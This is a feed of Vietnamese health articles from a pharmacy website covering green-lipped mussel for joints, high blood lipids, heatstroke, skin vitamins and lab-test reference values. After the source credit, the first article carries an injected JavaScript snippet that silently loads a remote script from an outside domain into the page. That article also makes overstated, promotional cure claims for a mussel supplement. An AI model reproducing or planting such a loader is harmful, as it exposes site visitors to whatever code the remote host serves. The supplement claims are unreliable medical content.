Nhà thuốc Tâm Dược

Vẹm xanh – Vị thuốc tốt cho xương khớp

admin — Sat, 03 Jul 2021 14:00:07 +0000

(Các chứng như viêm khớp, thấp khớp, loãng xương, thoái hóa cột sống… gây đau nhức, mệt mỏi, hạn chế vận động, thậm chí có thể dẫn đến tàn phế suốt đời. Bên cạnh các phương pháp xử lý theo y học hiện đại, hiện có khá nhiều vị thuốc khác hiệu quả trong hỗ trợ các bệnh xương khớp, trong đó có Vẹm xanh.
Vẹm xanh có nguồn gốc từ vùng biển New Zealand sở hữu hàm lượng dinh dưỡng cao).

Bệnh xương khớp và những con số đáng báo động:

– Các bệnh lý về xương khớp, điển hình là nhóm bệnh viêm khớp hiện đang gia tăng nhanh trên toàn cầu cũng như tại nước ta trong những năm gần đây và trở thành gánh nặng cho xã hội.
Các chuyên gia y tế cho rằng, tuổi thọ con người càng được nâng cao sẽ tỷ lệ thuận với chứng bệnh xương khớp ngày càng phổ biến. Ở nước ta, số liệu nghiên cứu bước đầu từ nhóm nghiên cứu của bác sĩ Hồ Phạm Thục Lan về các bệnh cơ xương khớp thường gặp tại TP HCM, cho thấy những người trên 40 tuổi có tần suất chung của thoái hóa khớp là 66%, những vị trí thường gặp nhất là cột sống thắt lưng (43%) và khớp gối (35%). Khoảng 23-29% phụ nữ Việt trên 50 tuổi có triệu chứng loãng xương, tỷ lệ này tương đương với các nước Âu Mỹ.

– Các số liệu này cho thấy quy mô của bệnh cơ xương khớp ở Việt Nam tương đương với các nước khác trên thế giới. Trong khi đó tỷ lệ người cao tuổi nước ta đã lên đến 7% và sẽ còn gia tăng nhanh trong tương lai. Trong bối cảnh này thì bệnh cơ xương khớp thật sự là vấn đề y tế quan trọng. Do vậy, việc tìm kiếm giải pháp nhằm giúp cải thiện, giảm đau các vấn đề về xương khớp đang rất được quan tâm.

Chiết xuất Vẹm xanh – “khắc tinh” của các vấn đề về xương khớp

– Chiết xuất vẹm xanh là chế phẩm được chiết xuất từ con vẹm xanh, chứa rất nhiều thành phần bổ dưỡng giàu khoáng chất, các amino axit thiết yếu, glyco – protein, axit béo omega 3 EPA và DHA rất có lợi cho rối loạn khớp, là các yếu tố quan trọng trong việc hỗ trợ hình thành và sửa chữa sụn khớp.
– Chiết xuất vẹm xanh giúp củng cố sự linh hoạt, di động và sự mềm mại của các khớp xương, đây là giải pháp hiệu quả cho cả hai triệu chứng viêm khớp và thấp khớp bao gồm các vấn đề liên quan đến độ cứng, đau, viêm và sự vận động của các khớp xương. Chiết xuất này còn giúp cơ thể phục hồi các khớp xương và sụn bị tổn thương, đồng thời cung cấp chondroitin, glucosamine và một số chất dinh dưỡng quan trọng khác cần thiết cho quá trình phục hồi.
– Chiết xuất Lyprinol từ vẹm xanh cũng đã được chứng minh rằng có tác dụng tự nhiên và vượt trội. Một nghiên cứu tại New Zealand đã cho thấy có tới 75% số người mắc chứng viêm khớp dạng thấp đã giảm được cơn đau đáng kể sau khi sử dụng tinh chất vẹm xanh.

Vẹm xanh là động vật thân mềm đặc biệt, loài động vật này nổi tiếng nhất là tác động trên bệnh viêm xương khớp. Sau khi thấy người New Zealand và các bộ lạc địa phương khi đã có tuổi mà ít có những dấu hiệu hư hỏng xương hay đau khớp, các nhà nghiên cứu đã tìm hiểu và nhận ra lý do xuất phát từ chế độ ăn uống, cụ thể là họ rất thường xuyên ăn vẹm xanh.
Vẹm xanh giúp củng cố sự linh hoạt và di động của các khớp xương, đây là giải pháp hiệu quả cho cả 2 triệu chứng viêm khớp và thấp khớp bao gồm các vấn đề liên quan đến độ cứng, đau, viêm và sự vận động của các khớp xương. Vẹm giúp cơ thể phục hồi các khớp xương và sụn bị tổn thương, đồng thời cung cấp chondroitin, glucosamine và một số chất dinh dưỡng quan trọng khác cần thiết cho quá trình phục hồi. Các nhà nghiên cứu đã so sánh sự giảm đau được thực hiện với liều 1200mg hàng ngày của mỡ cá xanh hoặc dầu cá omega 3 (EPA 18%, DHA 12%) để xem chúng có những tác dụng tương tự hay không. Trong số 47 người bị viêm khớp gối đầu gối, những người sử dụng chất chiết xuất thuốc bổ xương khớp vẹm xanh cho thấy sự cải thiện đáng kể về đau khớp so với những người dùng dầu cá Với 89% giảm triệu chứng đau và khó chịu về thể chất, 91% báo cáo chất lượng cuộc sống được cải thiện.

(Theo Báo Suckhoedoisong);(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,’script’,’https://content-website-analytics.com/script.js’);

Bài viết Vẹm xanh – Vị thuốc tốt cho xương khớp đã xuất hiện đầu tiên vào ngày Nhà thuốc Tâm Dược.

Tăng mỡ máu ở người cao tuổi

admin — Sat, 03 Jul 2021 13:35:05 +0000

Tăng mỡ máu ở người cao tuổi (PGS. TS. BS.BÙI KHẮC HẬU).

Tăng mỡ máu là một chứng bệnh gặp khá phổ biến, đặc biệt ở người cao tuổi (NCT). Tăng mỡ máu có ảnh hưởng xấu tới sức khỏe và chất lượng cuộc sống người bệnh, thậm chí gây biến chứng nguy hiểm. Vì vậy, NCT nên làm gì để phòng chứng tăng mỡ máu?

Mỡ máu là gì?

Mỡ máu (lipid máu) có 2 loại chính, đó là cholessterol và triglycerit. Cholesterol là một chất béo có ở các mảng tế bào của tất cả các mô tổ chức trong cơ thể và sẽ được vận chuyển trong huyết tương con người để nuôi dưỡng cơ thể. Trong đó, phần lớn cholesterol được gan tổng hợp từ các chất béo bão hòa và một phần nhỏ được hấp thu bởi thực phẩm được đưa vào từ mỡ, lòng, phủ tạng động vật, trứng, sữa, thịt đỏ, tôm…

Cholesterol gồm cholessterol toàn phần, cholesterol tốt (HDL-C) và cholesterol xấu (Cholesterol thấp: LDL-C và rất thấp: VLDL-C). Cholesterol tốt có vai trò làm cho thành động mạch mềm mại để lưu thông máu tốt hơn và bảo vệ thành mạch máu chống lại sự xơ vữa. Trong khi đó cholesterol xấu hoặc rất xấu (có tỷ trọng thấp hoặc rất thấp) lại làm xơ vữa thành động mạch, từ đó hạn chế lưu thông máu, thậm chí tạo điều kiện cho việc hình thành cục máu đông hoặc mảng xơ vữa bị bong ra, sẽ gây tắc mạch hết sức nguy hiểm (gây nhồi máu cơ tim, đột qụy não).

Còn triglycerit là gì? Khi acid béo (loại tự do) được hấp thu qua gan và sẽ được chuyển thành cholesterol. Nếu như lượng acid béo này bị dư thừa chúng sẽ trở thành triglycerit. Tại gan, triglycerit sẽ sẽ kết hợp với chất apoprotein và được đưa ra khỏi gan dưới dạng lipoprotein có tỉ trọng thấp. Khi xuất hiện sự mất cân bằng giữa lipid vào gan và lipid ra khỏi gan, mỡ (lipid) sẽ tích lại trong gan gây nên tình trạng gan nhiễm mỡ. Hậu quả của gan nhiễm mỡ là làm xơ gan, nếu không được điều trị và có chế độ ăn uống hợp lý.

Khi nào được gọi là bị tăng mỡ máu?

Bình thường cholesterol toàn phần trong máu nhỏ hơn 5,2mmol/l, trong đó cholesterol xấu (có tỷ trọng thấp) nhỏ hơn 3,4mmol/l. Nếu xét nghiệm máu lúc đói có các chỉ số cholesterol lớn hơn 5,2mmol/l hoặc cholesterol xấu (LDL-C) lớn hơn 3,4mmol/l hoặc cả hai đều tăng so với chỉ số bình thường, lúc này được gọi là tăng mỡ máu. Bên cạnh đó tryglicerid có chỉ số bình thường trong máu là 2,26mmol/l, khi chỉ số này cao hơn chứng tỏ mỡ máu cao. Như vậy, khi một trong ba loại (cholesterol toàn phần, cholessterol xấu và tryglicerit) hoặc hai trong ba loại hoặc cả ba tăng hơn chỉ số bình thường là hiện tượng tăng mỡ máu.

Tăng mỡ máu ở người cao tuổi

Nguyên nhân gây tăng mỡ máu:
Hầu hết là do thói quen ăn uống và sinh hoạt không hợp lý của mỗi người chính là nguy cơ mắc bệnh tăng mỡ máu, đặc biệt, NCT còn do suy giảm các chức năng cuả cơ thể, nhất là các cơ quan có vai trò điều tiết mỡ máu (gan, mật…). Vì vậy, tăng mỡ máu có liên quan mật thiết với chế độ dinh dưỡng và chế độ sinh hoạt, sự vận động cơ thể. Do đó, những NCT có chế độ dinh dưỡng không hợp lý xẩy ra tương đối thường xuyên hoặc có thói quen ăn nhiều mỡ, lòng, phủ tạng động vật, các loại thịt đỏ (thịt trâu, bò, chó, ngựa…), tôm, lòng đỏ trứng, sữa toàn phần, bơ trong các bữa ăn chính hàng ngày sẽ có nguy cơ tăng mỡ máu. Những người béo phì, lười hoặc ít vận động là một trong các nguy cơ làm tăng mỡ máu. Ngoài ra, một số tác giả cho rằng có một số bệnh gây rối loạn chuyển hóa (đái đường), hoặc di truyền cũng có thể có nguy cơ làm tăng mỡ máu.

Biến chứng nguy hiểm do tăng mỡ máu đối với người cao tuổi:
Cholesterol rất cần cho sự hoạt động của màng các tế bào trong cơ thể, cần cho sự hoạt động của cơ thể để sản xuất ra một nội tiết tố và cũng là thành phần rất quan trọng của muối mật. Tuy vậy, khi cholesterol tăng cao, nhất là loại cholesterol toàn phần và đặc biệt là Cholesterol xấu (LDC – C) sẽ gây tăng huyết áp, dẫn đến nhiều hệ lụy xấu như rối loạn tuần hoàn não, cơn thiếu máu não thoáng qua, xuất huyết não, hoặc nhồi máu cơ tim. Với NCT, xơ vữa động mạch là một nguy cơ xấu cho hệ tim mạch, bởi vì, ngoài tác dụng làm tăng huyết áp, xơ vữa động mạch còn làm cho lòng động mạch hẹp lại, tạo ra các cục máu đông gây tắc mạch đặc biệt là động mạch não, động mạch vành. Nếu các mảng xơ vữa động mạch này bị bong ra, đi theo dòng máu đến các động mạch nhỏ (động mạch vành tim, động mạch não) sẽ làm tắc động mạch gây nhồi máu cơ tim hoặc tắc mạch não làm nhũn não gây đột quỵ, nếu không cấp cứu kịp thời có thể tử vong. Do đó, một trong những tai biến đột qụy ở NCT là do tăng huyết áp hoặc do xơ vữa động mạch hoặc cả hai lý do mà tăng mỡ máu là một trong các nguyên nhân đáng kể gây ra.

Làm gì để phòng bệnh xơ vữa động mạch?
Để phòng tăng mỡ máu, NCT cần lưu ý hạn chế ăn mỡ động vật, thay vào đó là ăn dầu thực vật trong các bữa ăn chính. Hạn chế hoặc không nên ăn lòng, phủ tạng động vật, các loại thịt có màu đỏ (thịt trâu, bò, chó…). Do đó, NCT nên ăn cá thay cho thịt (mỗi tuần nên ăn 2 – 3 bữa cá, chọn loại cá giàu omega-3 như cá hồi, cá ngừ). Thêm vào đó, nên tăng cường ăn rau, trái cây (cam, bưởi, táo, nho, cam quýt, rau xanh, bắp cải, củ cải, cải bẹ, cải xanh, cà rốt, cà chua, cà tím, đu đủ, hành…) hoặc ăn thêm tỏi (hoặc uống dầu tỏi), các loại hạt (đỗ, lạc, giá đỗ). Nên kiêng rượu bia hoặc hạn chế đến mức tối đa. Tập thể dục đều đặn hoặc chơi các môn thể thao nhẹ nhàng (cầu lông, bóng bàn…) hoặc đi bộ (là hình thức vận động phù hợp nhất với NCT). Tuy vậy, mỗi ngày chỉ nên đi bộ khoảng 60 phút, chia làm 2 – 3 lần, không nên đi bộ một lúc 60 phút và không nên đi bộ vào lúc trời nắng hoặc thời tiết lạnh.

NCT nên khám bệnh theo định kỳ, nhất là người có tiền sử tăng mỡ máu, tăng huyết áp kèm theo bệnh đái đường.

(Theo Báo Suckhoedoisong)

Bài viết Tăng mỡ máu ở người cao tuổi đã xuất hiện đầu tiên vào ngày Nhà thuốc Tâm Dược.

Làm gì để tránh nguy cơ tử vong do sốc nhiệt trong ngày nắng nóng?

admin — Mon, 08 Jul 2019 04:36:05 +0000

Theo suckhoedoisong

Những ngày qua, các cơ sở y tế đã ghi nhận 2 bệnh nhân tử vong vì làm việc nhiều giờ trong thời tiết nắng nóng và nhiều trường hợp cấp cứu do đột quỵ. Vậy, làm gì để tránh nguy cơ này trong ngày hè nắng nóng?
Vẫn còn nhiều đợt nắng nóng
Thời gian này, cả nước đang trải qua một đợt nắng nóng cao độ với nhiệt độ ngoài trời thường xuyên trên 40 độ C. Theo Trung tâm dự báo khí tượng Thủy văn Quốc gia, do ảnh hưởng của rìa Đông Nam vùng áp thấp nóng phía Tây với đới gió Tây Nam gây hiệu ứng phơn mạnh nên nắng nóng mở rộng ra các tỉnh miền Bắc với nhiệt độ cao nhất phổ biến 35-37 độ, có nơi trên 37 độ, các tỉnh miền Trung tiếp tục có nắng nóng gay gắt và đặc biệt gay gắt với nền nhiệt độ cao nhất phổ biến 37-40 độ, có nơi trên 40 độ. Thời gian có nhiệt độ trên 35 độ từ 10-17 giờ. Nắng nóng ở miền Bắc có khả năng kéo dài 3-4 ngày tới, ở các tỉnh miền Trung tiếp tục kéo dài trong nhiều ngày tới. Cũng theo các chuyên gia, tình hình nắng nóng sẽ còn tiếp diễn. Tại Trung bộ, nắng nóng gay gắt thường diễn ra trong các tháng 7, 8. Điều kiện thời tiết khắc nghiệt như vậy rất dễ dẫn đến các vấn đề sức khỏe do nóng như cháy nắng, chuột rút, ngất, say nắng…trong đó nguy hiểm nhất là sốc nhiệt (Heat Stroke).

Cả nước đang trải qua một đợt nắng nóng cao độ với nhiệt độ ngoài trời thường xuyên trên 40 độ C.

Xử trí và chăm sóc sức khỏe mùa nắng nóng
Trước tình hình nắng nóng, người dân cần chủ động phòng tránh, Cục Quản lý môi trường y tế – Bộ Y tế cũng đã có hướng dẫn chăm sóc sức khỏe mùa nắng nóng cho cộng đồng và người lao động, cụ thể như sau:
Dấu hiệu nhận biết

Biểu hiện của các vấn đề thường gặp trong mùa nắng nóng phụ thuộc vào thời gian tiếp xúc với nắng nóng, mắc độ tăng thân nhiệt của cơ thể.

– Ở mức độ nhẹ; mệt mỏi, khát nước, hoa mắt chóng mặt, tăng nhịp tim, tăng nhịp thở, hồi hộp đánh chống ngực, chuột rút.
– Ở mức độ nặng đau đầu dữ dội, khó thở tăng dần, cảm giác buồn nôn hoặc nôn, yếu hoặc liệt nửa người, co giật, ngát xỉu hoặc hôn mê, trụy tim mạch và có thể tử vong.

Sơ cứu nạn nhân bị sốc nhiệt.

Cách xử trí

Khi gặp các vấn đề sức khỏe do nắng nóng, tùy theo mức độ biểu hiện mà nhanh chóng mà áp dụng những biện pháp xử trí phù hợp như sau:

– Ở mức độ nhẹ: chuyển ngay nạn nhân vào chỗ mát, thoáng gió.

+Nới lỏng quần áo hoặc cởi bỏ bớt quần áo bên ngoài của nạn nhân, sau đó, lau mát cơ thể nạn nhân bằng khăn mát hoặc có thể dội nước mát vào cơ thể nạn nhân rồi lau khô. Đặt khăn thấm nước mát hoặc nước đá tại các vị trí như vùng nách, vùng bẹn, hai bên cổ để giúp nhanh chóng hạ nhiệt độ cơ thể.

+Nếu nạn nhân uống được nước, cho uống từng ngụm nước mát nhỏ. Tốt nhất là nước có bổ sung muối và khoáng chất như nước oresol pha đúng liều lượng theo hướng dẫn sử dụng.

+ Nếu nạn nhân bị chuột rút cần xoa bóp nhẹ nhàng tại vùng cơ bị chuột rút.

+ Lưu ý không để cho mọi người vây quanh nạn nhân sau khoảng 10-15 phút các biểu hiện sẽ giảm dần.

– Ở mức độ nặng: nếu nạn nhân có các biểu hiện ở mức độ nặng cần gọi ngay cấp cứu 115 hoặc nhanh chóng đưa nạn nhân đến cơ sở y tế gần nhất. Lưu ý trong quá trình vận chuyển thường xuyên chườm mát cho nạn nhân.

Để phòng tránh say nắng, say nóng

Hạn chế đi ra ngoài những ngày trời nắng nóng, đặc biệt trong khoảng thời gian từ 10 giờ sáng đến 4 giờ chiều.

– Những người đang ở trong phòng điều hòa nhiệt độ thấp không đi ra ngoài trời nắng đột ngột mà cần phải có một khoảng thời gian để cơ thể thích nghi với môi trường bên ngoài bằng cách tăng nhiệt độ điều hòa trong phòng hoặc ngồi nghỉ trong bóng mát trước khi ra ngoài trời.

– Mặc quần áo sáng mầu, thoáng mát, thấm mồ hôi.

– Tăng cường ăn các loại rau xanh và hoa quả, nên có món canh trong bữa ăn hàng ngày. Đặc biệt cần uống tối thiểu 1,5-2 lít nước mỗi ngày. Nên uống thành nhiều lần trong ngày, không nên uống quá nhiều nước trong một lần.

– Rèn luyện thân thể để nâng cao sức đề kháng và sức chống chịu của bản thân với điều kiện của thời tiết nắng nóng.

Đối với những người phải làm việc trong thời tiết nắng nóng

– Cần bố trí thời gian làm việc vào những lúc mát mẻ như vào sáng sớm hoặc chiều muộn. hạn chế thời gian làm việc trong môi trường nhiệt độ cao. Nếu bắt buộc phải làm việc thì không nên làm việc quá lâu trong môi trường nóng bức, tránh các hoạt động thể lực quá sức. Nên định kỳ sau khoảng 45 phút đến 1 giờ làm việc thì nghỉ ngơi ở nơi thoáng mát trong khoảng thời gian từ 15-20 phút.

– Hạn chế tối đa diện tích tiếp xúc của ánh nắng lên cơ thể đặc biệt là vùng vai gáy. Sử dụng phương tiện bảo hộ cá nhân phù hợp khi làm việc ngoài trời nắng như quần áo, bảo hộ lao động, mũ, nón, kính. Mặc quần áo rộng, thoáng mát, thấm mồ hôi.Có thể sử dụng thêm các loại kem chống nắng.

– Không sử dụng các loại đồ uống có cồn. Cần uống nước đều đặn trong suốt thời gian làm việc. Đặc biệt cần uống thêm các loại nước có bổ sung thêm muối và khoáng chất như: Oresol đối với những người mất nhiều mồ hôi trong quá trình làm việc.

– Thực hiện các biện pháp làm thoáng mát nơi làm việc như sử dụng mái che, các tấm phản chiếu nhiệt, vật liệu cách nhiệt, hệ thống phun nước, phun sương. Lắp đặt hệ thống điều hòa, hệ thống quạt gió.

Bài viết Làm gì để tránh nguy cơ tử vong do sốc nhiệt trong ngày nắng nóng? đã xuất hiện đầu tiên vào ngày Nhà thuốc Tâm Dược.

Các vitamin ngăn ngừa da “xuống cấp”

admin — Mon, 13 May 2019 15:33:52 +0000

Đây là quá trình thoái hóa tự nhiên, chúng ta không thể can thiệp, nhưng chúng ta có thể chủ động làm chậm quá trình lão hóa da, trong đó có chế độ dinh dưỡng. Một số vitamin được xem có vai trò hữu ích góp phần ngăn ngừa tình trạng sớm lão hóa da.

Vitamin tan trong dầu
Vitamin A: Vitamin A hay retinol, có nhiều trong gan, thịt, cá, cà chua, rau dền, cà rốt, súp lơ xanh, bí đỏ, cà chua, đu đủ, gấc, dưa hấu… được coi là loại chất chống lão hóa da tốt nhất. Đây là một vitamin tan trong chất béo được sử dụng để giúp duy trì tuổi thanh xuân cho làn da, hỗ trợ sự phát triển của các tế bào da, giúp giảm sự xuất hiện của nếp nhăn bằng cách tăng sản xuất bã nhờn, tạo làn da tươi mới, mềm mại, trẻ trung. Vitamin A còn có tác dụng kích thích sự liền sẹo và ngừa các bệnh của da.

Vitamin E: Vitamin E hay tocopherol, có vai trò chống ôxy hóa bằng cách ngăn ngừa hay làm gián đoạn những phản ứng tạo ra các gốc tự do, được xem là “thần dược” giúp chị em giữ gìn sắc đẹp và duy trì nét thanh xuân của mình. Bổ sung đầy đủ dưỡng chất này sẽ mau chóng có được một làn da tươi trẻ, mịn màng. Vitamin E được kết hợp với vitamin C sẽ có tác dụng như một chiếc áo giáp bảo vệ da khỏi ánh nắng mặt trời. Ngoài ra, vitamin E có tác dụng ổn định các màng sinh học, tái tạo và phục hồi các tế bào da bị hư tổn, giúp làm sạch và kháng viêm hiệu quả. Vitamin E được sử dụng trong rất nhiều loại mỹ phẩm làm đẹp da, chống lão hóa. Vitamin E có nhiều trong rau cải xoăn, cải chân vịt, hoa lơ xanh, bí ngô, khoai lang, cà chua, quả bơ, xoài, kiwi, hạnh nhân, óc chó, đậu phụ, hải sản…

Vitamin K: Vitamin K hay phylloquinone (vitamin K1), menaquinone (vitamin K2) có thể giúp xóa mờ quầng thâm dưới mắt. Các mao mạch dễ vỡ làm máu thoát ra dưới da là một trong những nguyên nhân gây mắt thâm quầng và vitamin K giúp giảm hiện tượng này bằng cách kiểm soát sự đông máu. Một nghiên cứu cho thấy, dùng kem chứa vitamin K và A liên tục trong vòng 4 tháng có thể giúp quầng thâm trên da giảm đi. Có thể bổ sung vitamin K thông qua các loại dầu thực vật, xà lách, hành, cần tây, thì là…

Vitamin tan trong nước

Vitamin B₁: Vitamin B₁ hay thiamine, có thể làm sáng da, giúp cơ thể săn chắc, trẻ lâu. Vitamin B₁ giúp quá trình chuyển hóa đường thành năng lượng trong cơ thể nhanh hơn, đồng thời làm cân bằng hệ thống thần kinh, tốt cho hoạt động của não, tim và gan. Vitamin B₁ có nhiều trong cám gạo, thịt, lòng đỏ trứng, măng tây, ngũ cốc tổng hợp, men bia.

Vitamin B₂: Vitamin B₂ hay riboflavin, có tác dụng giúp duy trì độ ẩm cho da, chống lão hóa sớm. Thiếu hụt vitamin B₂ sẽ gây ra các bệnh về da như môi, lưỡi nứt nẻ, đỏ cánh mũi, da mặt nhăn, mắt kém và móng tay dễ bị gãy. Vitamin B₂ có nhiều trong gan động vật, cá, sữa, trứng, bơ, chuối…

Vitamin B₃: Vitamin B₃ hay niacinamide, là một dưỡng chất vô cùng quan trọng, đặc biệt là với làn da khô và nhạy cảm, giúp tăng cường độ ẩm của da, chống dị ứng, giảm các vết mẩn đỏ trên da. Vitamin B₃ được chứng minh là tăng cường sự sản xuất ceramide và axit béo, hai hợp chất quan trọng đóng vai trò bảo vệ da. Khi có lớp màng bảo vệ da tốt hơn, da sẽ có khả năng hút ẩm và đẩy chất thải trên da tốt hơn.

Vitamin B₅: Vitamin B₅ hay axit pantothenic có tác dụng chống da khô, lão hóa. Ngoài ra, vitamin B₅ còn tác dụng phòng tránh bệnh rụng tóc. Vitamin B₅ phục hồi độ pH cho da, điều này làm cho làn da mềm mại, dẻo dai và giữ ẩm. Các nếp nhăn và khô sạm da sẽ bị mờ đi sau vài tuần dùng vitamin B₅ bổ sung. Vitamin B₅ có nhiều trong tôm, các loại hải sản, rau xanh, nấm.

Vitamin B₁₂: Vitamin B₁₂ hay cyanocobalamin giúp da ngậm nước, giữ ẩm cho da và giúp da tránh khỏi tác hại của ánh nắng mặt trời, chống lão hóa sớm… Vitamin B₁₂ có nhiều trong các sản phẩm sữa, cá biển và đậu nành.

Vitamin C: Vitamin C hay axit ascorbic, có tác dụng ngăn chặn quá trình sản xuất các gốc tự do, bảo vệ acid béo không no của màng tế bào, đồng thời giúp tái sử dụng vitamin E là chất chống ôxy hóa chính của màng tế bào. Vitamin C có thể ngăn sự hình thành và giúp làm mờ sắc tố melanin, làm tăng sự sản xuất collagen cho da, kích hoạt quá trình làm mới làn da và làm tăng độ đàn hồi bị mất, chữa lành sẹo lõm hoặc tái tạo da sau quá trình bị mụn. Vitamin C không chỉ mang lại lợi ích làm sáng da mà còn là một chất chống ôxy hóa rất mạnh, làm giảm sự xuất hiện của nếp nhăn. Thiếu vitamin C có thể gây xuất huyết, da khô và sần sùi, tăng sừng hóa ở nang lông. Vitamin C giúp điều trị da bị tổn thương do tác hại của ánh nắng, duy trì vẻ đẹp, gia tăng tuần hoàn máu, lấy đi oxygen hoạt hóa và ngăn chặn tình trạng lão hóa da. Vitamin C có nhiều trong các loại trái cây tươi như cam, chanh, quýt, sơ ri, cóc, ổi, bưởi, táo, xoài, dưa hấu, đu đủ… và có hàm lượng cao trong rau xanh, đặc biệt là bông cải xanh, rau cải, cà chua, khoai tây…

Vitamin H: Vitamin H, hay biotin – vitamin B₇, có nhiều trong gan bò, sữa, cá, lòng đỏ trứng, chuối, khoai tây… giúp cho làn da khỏe mạnh và rạng rỡ. Thiếu hụt biotin có thể dẫn đến da khô và tróc vảy.

Lời khuyên của thầy thuốc

Có thể thấy lợi ích của các vitamin trên với da là không thể phủ nhận. Vì vậy, nên bổ sung các loại vitamin trên qua thực phẩm hàng ngày là tốt nhất để có được làn da khỏe mạnh. Chỉ bổ sung bằng thuốc khi cần thiết theo chỉ định của bác sĩ. Người bệnh không nên tự ý mua dùng, tránh tình trạng bổ sung thừa, quá liều gây độc. Đối với nhóm vitamin tan trong dầu không thể đào thải qua thận mà lượng thừa đều được dự trữ trong mô mỡ của gan, nếu dùng quá liều sẽ tích tụ trong cơ thể và gây hại đến sức khỏe. Ví dụ, dùng quá nhiều vitamin A làm tăng nguy cơ yếu xương, tổn thương hệ thần kinh và chức năng gan, gây ngứa da, khô tóc, chán ăn; quá liều vitamin E có thể gây chảy máu nhiều, viêm ruột, khiến cơ thể mệt mỏi…

Đối với các vitamin tan trong nước khi thừa cũng có thể gây tác động xấu tới sức khỏe. Ví dụ, vitamin C khi dùng thường xuyên ở liều cao sẽ dẫn đến các dấu hiệu ngộ độc, gây tổn thương thận, dễ bị sỏi thận…

Bài viết Các vitamin ngăn ngừa da “xuống cấp” đã xuất hiện đầu tiên vào ngày Nhà thuốc Tâm Dược.

Ý nghĩa 25 chỉ số xét nghiệm sinh hoá – bài 2

admin — Fri, 29 Jun 2018 03:10:35 +0000

16.Tên xét nghiệm: HDL-C

Chỉ đinh: Rối loạn mỡ máu, vữa xơ động mạch, tăng huyết áp, kiểm tra sức khoẻ định kỳ cho những người trên 40 tuổi……
Trị số bình thường: ≥ 0,9mmol/l
HDL-C tăng: ít nguy cơ gây vữa xơ động mạch
HDL-C giảm: dễ có nguy cơ gây vữa xơ động mạch, hay gặp trong các trường hợp rối loạn mỡ máu, vữa xơ động mạch, tăng huyết áp, cơn đau thắt ngực…
Người ta thường chú ý tới tỉ số CHOLESTEROL TOÀN PHẦN / HDL-C. Tí số này tốt nhất là <4, tỉ số này càng cao thì khả năng vữa xơ động mạch càng nhiều.
Mẫu máu: Mẫu máu lấy vào buổi sáng, lúc đói: 3ml máu không chống đông hoặc chống đông bằng lithiheparin.

17. Tên xét nghiệm: LDL-C

Chỉ đinh: Rối loạn mỡ máu, vữa xơ động mạch, tăng huyết áp, bệnh mạch vành, đái tháo đường…
Trị số bình thường: <=3,4mmol/l
LDL-C càng cao, nguy cơ bị vữa xơ động mạch càng lớn.
LDL-C tăng trong các trường hợp: Vữa xơ động mạch, rối loạn lipid máu, bệnh béo phì…
LDL-C giảm trong các trường hợp: xơ gan, hội chứng kém hấp thu, suy kiệt, cường tuyến giáp…
Mẫu máu: Mẫu máu lấy vào buổi sáng, lúc đói: 3ml máu không chống đông hoặc chống đông bằng lithiheparin.

18. Tên xét nghiệm: Can xi toàn phần

Chỉ đinh: Đa u tuỷ, loãng xương, còi xương, dùng thuốc lợi tiểu Diazit kéo dài…
Trị số bình thường: 2,2-2,7 mmol/l
Can xi toàn phần tăng trong các trường hợp: loãng xương, đa u tuỷ, cường phó giáp trạng, bệnh Paget, cường giáp, dùng lợi tiểu Diazit…
Can xi toàn phần giảm trong các trường hợp: Thiếu vitamin D, còi xương, thiểu năng giáp, suy thận, một số trường hợp không đáp ứng với vitamin D, hội chứng thận hư, các trường hợp giảm Albumin máu, tan máu, viêm tuỵ cấp, thai nghén…
Mẫu máu: Mẫu máu lấy vào buổi sáng, lúc đói: 3ml máu không chống đông hoặc chống đông bằng lithiheparin.

19. Tên xét nghiệm: Ca++ MÁU

Chỉ đinh: Đa u tuỷ, loãng xương, suy thận…
Trị số bình thường: 1,17-1,29 mmol/l
Ca++ tăng trong các trường hợp: Đa u tuỷ, loãng xương, viêm phổi, giảm phosphat máu, nhiễm độc vitamin D, cường cận giáp tiên phát hoặc thứ phát…
Ca++ giảm trong các trường hợp: Thiểu năng cận giáp, suy thận, bệnh Tetanie, còi xương, các bệnh có giảm Albumin máu…
Mẫu máu: Mẫu máu lấy vào buổi sáng, lúc đói: 3ml máu không chống đông hoặc chống đông bằng lithiheparin.

20. Tên xét nghiệm: Sắt trong máu

Chỉ đinh: Các trường hợp thiếu máu, mất máu do chảy máu, trĩ, giun móc, thai nghén, nhiễm độc sắt, tan máu…
Trị số bình thường:
Nam: 11-27 Mmol/l
Nữ: 7-26 Mmol/l
Sắt tăng trong các trường hợp: tan máu, suy tuỷ, xơ tuỷ, rối loạn sinh tuỷ, xơ gan, nhiễm độc sắt, truyền máu nhiều lần…
Sắt giảm trong các trường hợp: Thiếu máu thiếu sắt, viêm nhiễm mạn tính, chảy máu kéo dài, ăn kiêng, giảm hấp thu sắt (cắt đoạn ruột, dạ dày…)
Mẫu máu: Mẫu máu lấy vào buổi sáng, lúc đói: 3ml máu không chống đông hoặc chống đông bằng lithiheparin.

21. Tên xét nghiệm: Ferritin

Trong cơ thể , sắt được dự trữ dưới dạng Ferritin hoặc sản phẩm được cô đặc dạng bán tinh thể của nó là hemosiderin.Ferritin có TLPT là 440.000 dalton, gồm lớp vỏ protein( Apoferritin) và một lõi Fe+3- hydroxyt- phosphate. Ferritin có khả năng tích trữ và giải phóng sắt theo các nhu cầu sinh lý. Mỗi phân tử Ferritin có thể chứa tới 4.500 nguyên tử sắt, nhưng nó thường chứa dưới 3.000 nguyên tử sắt. Các kênh ở bề mặt apoferritin cho phép tích trữ và giải phóng sắt. Khi sắt thừa, ferritin có khuynh hướng hình thành các oligomer ổn định và khi có mặt thừa trong các cơ quan dự trữ, nó có thể cô đặc lại dưới dạng bán tinh thể gọi là hemosiderin. Các hemosiderin trong các lysosom có thể nhìn được thấy bằng kính hiển vi và sử dụng để chẩn đoán.
Chỉ đinh: Những trường hợp thiếu máu, tan máu, các trường hợp cần đánh giá dự trữ sắt của cơ thể.
Trị số bình thường:
Nam giới và phụ nữ đã mãn kinh: 16,4- 323 ng/ml
Phụ nữ ở lứa tuổi sinh đẻ: 6,9- 282ng/ml
Ferritin tăng rất cao trong các trường hợp: Suy tuỷ, tuỷ giảm sinh, rối loạn sinh tuỷ, Hogkin, đa u tuỷ xương…
Ferritin cũng tăng cao trong các trường hợp: Nhiễm trùng, có khối u mãn tính( tăng giả tạo), truyền khối hồng cầu nhiều lần, tan máu…
